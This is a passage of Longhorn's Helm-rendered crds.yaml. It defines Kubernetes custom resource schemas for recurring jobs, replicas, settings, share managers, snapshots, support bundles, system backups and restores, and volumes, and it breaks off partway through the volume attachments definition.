+# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + longhorn-manager: "" + name: recurringjobs.longhorn.io +spec: + group: longhorn.io + names: + kind: RecurringJob + listKind: RecurringJobList + plural: recurringjobs + shortNames: + - lhrj + singular: recurringjob + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: Sets groupings to the jobs. When set to "default" group will be added to the volume label when no other job label exist in volume + jsonPath: .spec.groups + name: Groups + type: string + - description: Should be one of "backup" or "snapshot" + jsonPath: .spec.task + name: Task + type: string + - description: The cron expression represents recurring job scheduling + jsonPath: .spec.cron + name: Cron + type: string + - description: The number of snapshots/backups to keep for the volume + jsonPath: .spec.retain + name: Retain + type: integer + - description: The concurrent job to run by each cron job + jsonPath: .spec.concurrency + name: Concurrency + type: integer + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + - description: Specify the labels + jsonPath: .spec.labels + name: Labels + type: string + name: v1beta1 + schema: + openAPIV3Schema: + description: RecurringJob is where Longhorn stores recurring job object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: Sets groupings to the jobs. When set to "default" group will be added to the volume label when no other job label exist in volume + jsonPath: .spec.groups + name: Groups + type: string + - description: Should be one of "snapshot", "snapshot-force-create", "snapshot-cleanup", "snapshot-delete", "backup", "backup-force-create" or "filesystem-trim" + jsonPath: .spec.task + name: Task + type: string + - description: The cron expression represents recurring job scheduling + jsonPath: .spec.cron + name: Cron + type: string + - description: The number of snapshots/backups to keep for the volume + jsonPath: .spec.retain + name: Retain + type: integer + - description: The concurrent job to run by each cron job + jsonPath: .spec.concurrency + name: Concurrency + type: integer + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + - description: Specify the labels + jsonPath: .spec.labels + name: Labels + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: RecurringJob is where Longhorn stores recurring job object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: RecurringJobSpec defines the desired state of the Longhorn recurring job + properties: + concurrency: + description: The concurrency of taking the snapshot/backup. + type: integer + cron: + description: The cron setting. + type: string + groups: + description: The recurring job group. + items: + type: string + type: array + labels: + additionalProperties: + type: string + description: The label of the snapshot/backup. + type: object + name: + description: The recurring job name. + type: string + retain: + description: The retain count of the snapshot/backup. + type: integer + task: + description: The recurring job task. Can be "snapshot", "snapshot-force-create", "snapshot-cleanup", "snapshot-delete", "backup", "backup-force-create" or "filesystem-trim" + enum: + - snapshot + - snapshot-force-create + - snapshot-cleanup + - snapshot-delete + - backup + - backup-force-create + - filesystem-trim + type: string + type: object + status: + description: RecurringJobStatus defines the observed state of the Longhorn recurring job + properties: + ownerID: + description: The owner ID which is responsible to reconcile this recurring job CR. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: replicas.longhorn.io +spec: + group: longhorn.io + names: + kind: Replica + listKind: ReplicaList + plural: replicas + shortNames: + - lhr + singular: replica + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The current state of the replica + jsonPath: .status.currentState + name: State + type: string + - description: The node that the replica is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk that the replica is on + jsonPath: .spec.diskID + name: Disk + type: string + - description: The instance manager of the replica + jsonPath: .status.instanceManagerName + name: InstanceManager + type: string + - description: The current image of the replica + jsonPath: .status.currentImage + name: Image + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: Replica is where Longhorn stores replica object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The data engine of the replica + jsonPath: .spec.dataEngine + name: Data Engine + type: string + - description: The current state of the replica + jsonPath: .status.currentState + name: State + type: string + - description: The node that the replica is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk that the replica is on + jsonPath: .spec.diskID + name: Disk + type: string + - description: The instance manager of the replica + jsonPath: .status.instanceManagerName + name: InstanceManager + type: string + - description: The current image of the replica + jsonPath: .status.currentImage + name: Image + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Replica is where Longhorn stores replica object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: ReplicaSpec defines the desired state of the Longhorn replica + properties: + active: + type: boolean + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + backingImage: + type: string + dataDirectoryName: + type: string + dataEngine: + enum: + - v1 + - v2 + type: string + desireState: + type: string + diskID: + type: string + diskPath: + type: string + engineImage: + description: 'Deprecated: Replaced by field `image`.' + type: string + engineName: + type: string + evictionRequested: + type: boolean + failedAt: + type: string + hardNodeAffinity: + type: string + healthyAt: + type: string + image: + type: string + logRequested: + type: boolean + nodeID: + type: string + rebuildRetryCount: + type: integer + revisionCounterDisabled: + type: boolean + salvageRequested: + type: boolean + snapshotMaxCount: + type: integer + snapshotMaxSize: + format: int64 + type: string + unmapMarkDiskChainRemovedEnabled: + type: boolean + volumeName: + type: string + volumeSize: + format: int64 + type: string + type: object + status: + description: ReplicaStatus defines the observed state of the Longhorn replica + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + currentImage: + type: string + currentState: + type: string + evictionRequested: + description: 'Deprecated: Replaced by field `spec.evictionRequested`.' + type: boolean + instanceManagerName: + type: string + ip: + type: string + logFetched: + type: boolean + ownerID: + type: string + port: + type: integer + salvageExecuted: + type: boolean + started: + type: boolean + storageIP: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: settings.longhorn.io +spec: + group: longhorn.io + names: + kind: Setting + listKind: SettingList + plural: settings + shortNames: + - lhs + singular: setting + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The value of the setting + jsonPath: .value + name: Value + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: Setting is where Longhorn stores setting object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + value: + type: string + required: + - value + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The value of the setting + jsonPath: .value + name: Value + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Setting is where Longhorn stores setting object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + value: + description: The value of the setting. + type: string + required: + - value + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: sharemanagers.longhorn.io +spec: + group: longhorn.io + names: + kind: ShareManager + listKind: ShareManagerList + plural: sharemanagers + shortNames: + - lhsm + singular: sharemanager + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The state of the share manager + jsonPath: .status.state + name: State + type: string + - description: The node that the share manager is owned by + jsonPath: .status.ownerID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: ShareManager is where Longhorn stores share manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The state of the share manager + jsonPath: .status.state + name: State + type: string + - description: The node that the share manager is owned by + jsonPath: .status.ownerID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: ShareManager is where Longhorn stores share manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: ShareManagerSpec defines the desired state of the Longhorn share manager + properties: + image: + description: Share manager image used for creating a share manager pod + type: string + type: object + status: + description: ShareManagerStatus defines the observed state of the Longhorn share manager + properties: + endpoint: + description: NFS endpoint that can access the mounted filesystem of the volume + type: string + ownerID: + description: The node ID on which the controller is responsible to reconcile this share manager resource + type: string + state: + description: The state of the share manager resource + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: snapshots.longhorn.io +spec: + group: longhorn.io + names: + kind: Snapshot + listKind: SnapshotList + plural: snapshots + shortNames: + - lhsnap + singular: snapshot + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The volume that this snapshot belongs to + jsonPath: .spec.volume + name: Volume + type: string + - description: Timestamp when the point-in-time snapshot was taken + jsonPath: .status.creationTime + name: CreationTime + type: string + - description: Indicates if the snapshot is ready to be used to restore/backup a volume + jsonPath: .status.readyToUse + name: ReadyToUse + type: boolean + - description: Represents the minimum size of volume required to rehydrate from this snapshot + jsonPath: .status.restoreSize + name: RestoreSize + type: string + - description: The actual size of the snapshot + jsonPath: .status.size + name: Size + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Snapshot is the Schema for the snapshots API + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: SnapshotSpec defines the desired state of Longhorn Snapshot + properties: + createSnapshot: + description: require creating a new snapshot + type: boolean + labels: + additionalProperties: + type: string + description: The labels of snapshot + nullable: true + type: object + volume: + description: the volume that this snapshot belongs to. This field is immutable after creation. Required + type: string + required: + - volume + type: object + status: + description: SnapshotStatus defines the observed state of Longhorn Snapshot + properties: + checksum: + type: string + children: + additionalProperties: + type: boolean + nullable: true + type: object + creationTime: + type: string + error: + type: string + labels: + additionalProperties: + type: string + nullable: true + type: object + markRemoved: + type: boolean + ownerID: + type: string + parent: + type: string + readyToUse: + type: boolean + restoreSize: + format: int64 + type: integer + size: + format: int64 + type: integer + userCreated: + type: boolean + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: supportbundles.longhorn.io +spec: + group: longhorn.io + names: + kind: SupportBundle + listKind: SupportBundleList + plural: supportbundles + shortNames: + - lhbundle + singular: supportbundle + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The state of the support bundle + jsonPath: .status.state + name: State + type: string + - description: The issue URL + jsonPath: .spec.issueURL + name: Issue + type: string + - description: A brief description of the issue + jsonPath: .spec.description + name: Description + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: SupportBundle is where Longhorn stores support bundle object + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: SupportBundleSpec defines the desired state of the Longhorn SupportBundle + properties: + description: + description: A brief description of the issue + type: string + issueURL: + description: The issue URL + nullable: true + type: string + nodeID: + description: The preferred responsible controller node ID. + type: string + required: + - description + type: object + status: + description: SupportBundleStatus defines the observed state of the Longhorn SupportBundle + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + type: array + filename: + type: string + filesize: + format: int64 + type: integer + image: + description: The support bundle manager image + type: string + managerIP: + description: The support bundle manager IP + type: string + ownerID: + description: The current responsible controller node ID + type: string + progress: + type: integer + state: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: systembackups.longhorn.io +spec: + group: longhorn.io + names: + kind: SystemBackup + listKind: SystemBackupList + plural: systembackups + shortNames: + - lhsb + singular: systembackup + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The system backup Longhorn version + jsonPath: .status.version + name: Version + type: string + - description: The system backup state + jsonPath: .status.state + name: State + type: string + - description: The system backup creation time + jsonPath: .status.createdAt + name: Created + type: string + - description: The last time that the system backup was synced into the cluster + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: SystemBackup is where Longhorn stores system backup object + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: SystemBackupSpec defines the desired state of the Longhorn SystemBackup + properties: + volumeBackupPolicy: + description: The create volume backup policy Can be "if-not-present", "always" or "disabled" + nullable: true + type: string + type: object + status: + description: SystemBackupStatus defines the observed state of the Longhorn SystemBackup + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + createdAt: + description: The system backup creation time. + format: date-time + type: string + gitCommit: + description: The saved Longhorn manager git commit. + nullable: true + type: string + lastSyncedAt: + description: The last time that the system backup was synced into the cluster. + format: date-time + nullable: true + type: string + managerImage: + description: The saved manager image. + type: string + ownerID: + description: The node ID of the responsible controller to reconcile this SystemBackup. + type: string + state: + description: The system backup state. + type: string + version: + description: The saved Longhorn version. + nullable: true + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: systemrestores.longhorn.io +spec: + group: longhorn.io + names: + kind: SystemRestore + listKind: SystemRestoreList + plural: systemrestores + shortNames: + - lhsr + singular: systemrestore + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The system restore state + jsonPath: .status.state + name: State + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: SystemRestore is where Longhorn stores system restore object + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: SystemRestoreSpec defines the desired state of the Longhorn SystemRestore + properties: + systemBackup: + description: The system backup name in the object store. + type: string + required: + - systemBackup + type: object + status: + description: SystemRestoreStatus defines the observed state of the Longhorn SystemRestore + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + ownerID: + description: The node ID of the responsible controller to reconcile this SystemRestore. + type: string + sourceURL: + description: The source system backup URL. + type: string + state: + description: The system restore state. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: volumes.longhorn.io +spec: + preserveUnknownFields: false + conversion: + strategy: Webhook + webhook: + clientConfig: + service: + name: longhorn-conversion-webhook + namespace: longhorn-system + path: /v1/webhook/conversion + port: 9501 + conversionReviewVersions: + - v1beta2 + - v1beta1 + group: longhorn.io + names: + kind: Volume + listKind: VolumeList + plural: volumes + shortNames: + - lhv + singular: volume + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The state of the volume + jsonPath: .status.state + name: State + type: string + - description: The robustness of the volume + jsonPath: .status.robustness + name: Robustness + type: string + - description: The scheduled condition of the volume + jsonPath: .status.conditions['scheduled']['status'] + name: Scheduled + type: string + - description: The size of the volume + jsonPath: .spec.size + name: Size + type: string + - description: The node that the volume is currently attaching to + jsonPath: .status.currentNodeID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: Volume is where Longhorn stores volume object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The data engine of the volume + jsonPath: .spec.dataEngine + name: Data Engine + type: string + - description: The state of the volume + jsonPath: .status.state + name: State + type: string + - description: The robustness of the volume + jsonPath: .status.robustness + name: Robustness + type: string + - description: The scheduled condition of the volume + jsonPath: .status.conditions[?(@.type=='Schedulable')].status + name: Scheduled + type: string + - description: The size of the volume + jsonPath: .spec.size + name: Size + type: string + - description: The node that the volume is currently attaching to + jsonPath: .status.currentNodeID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Volume is where Longhorn stores volume object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: VolumeSpec defines the desired state of the Longhorn volume + properties: + Standby: + type: boolean + accessMode: + enum: + - rwo + - rwx + type: string + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + backingImage: + type: string + backupCompressionMethod: + enum: + - none + - lz4 + - gzip + type: string + dataEngine: + enum: + - v1 + - v2 + type: string + dataLocality: + enum: + - disabled + - best-effort + - strict-local + type: string + dataSource: + type: string + disableFrontend: + type: boolean + diskSelector: + items: + type: string + type: array + encrypted: + type: boolean + engineImage: + description: 'Deprecated: Replaced by field `image`.' + type: string + fromBackup: + type: string + frontend: + enum: + - blockdev + - iscsi + - nvmf + - "" + type: string + image: + type: string + lastAttachedBy: + type: string + migratable: + type: boolean + migrationNodeID: + type: string + nodeID: + type: string + nodeSelector: + items: + type: string + type: array + numberOfReplicas: + type: integer + offlineReplicaRebuilding: + description: OfflineReplicaRebuilding is used to determine if the offline replica rebuilding feature is enabled or not + enum: + - ignored + - disabled + - enabled + type: string + replicaAutoBalance: + enum: + - ignored + - disabled + - least-effort + - best-effort + type: string + replicaDiskSoftAntiAffinity: + description: Replica disk soft anti affinity of the volume. Set enabled to allow replicas to be scheduled in the same disk. + enum: + - ignored + - enabled + - disabled + type: string + replicaSoftAntiAffinity: + description: Replica soft anti affinity of the volume. Set enabled to allow replicas to be scheduled on the same node. + enum: + - ignored + - enabled + - disabled + type: string + replicaZoneSoftAntiAffinity: + description: Replica zone soft anti affinity of the volume. Set enabled to allow replicas to be scheduled in the same zone. + enum: + - ignored + - enabled + - disabled + type: string + restoreVolumeRecurringJob: + enum: + - ignored + - enabled + - disabled + type: string + revisionCounterDisabled: + type: boolean + size: + format: int64 + type: string + snapshotDataIntegrity: + enum: + - ignored + - disabled + - enabled + - fast-check + type: string + snapshotMaxCount: + type: integer + snapshotMaxSize: + format: int64 + type: string + staleReplicaTimeout: + type: integer + unmapMarkSnapChainRemoved: + enum: + - ignored + - disabled + - enabled + type: string + type: object + status: + description: VolumeStatus defines the observed state of the Longhorn volume + properties: + actualSize: + format: int64 + type: integer + cloneStatus: + properties: + snapshot: + type: string + sourceVolume: + type: string + state: + type: string + type: object + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + currentImage: + type: string + currentMigrationNodeID: + description: the node that this volume is currently migrating to + type: string + currentNodeID: + type: string + expansionRequired: + type: boolean + frontendDisabled: + type: boolean + isStandby: + type: boolean + kubernetesStatus: + properties: + lastPVCRefAt: + type: string + lastPodRefAt: + type: string + namespace: + description: determine if PVC/Namespace is history or not + type: string + pvName: + type: string + pvStatus: + type: string + pvcName: + type: string + workloadsStatus: + description: determine if Pod/Workload is history or not + items: + properties: + podName: + type: string + podStatus: + type: string + workloadName: + type: string + workloadType: + type: string + type: object + nullable: true + type: array + type: object + lastBackup: + type: string + lastBackupAt: + type: string + lastDegradedAt: + type: string + offlineReplicaRebuildingRequired: + type: boolean + ownerID: + type: string + pendingNodeID: + description: Deprecated. + type: string + remountRequestedAt: + type: string + restoreInitiated: + type: boolean + restoreRequired: + type: boolean + robustness: + type: string + shareEndpoint: + type: string + shareState: + type: string + state: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: volumeattachments.longhorn.io +spec: + group: longhorn.io + names: + kind: 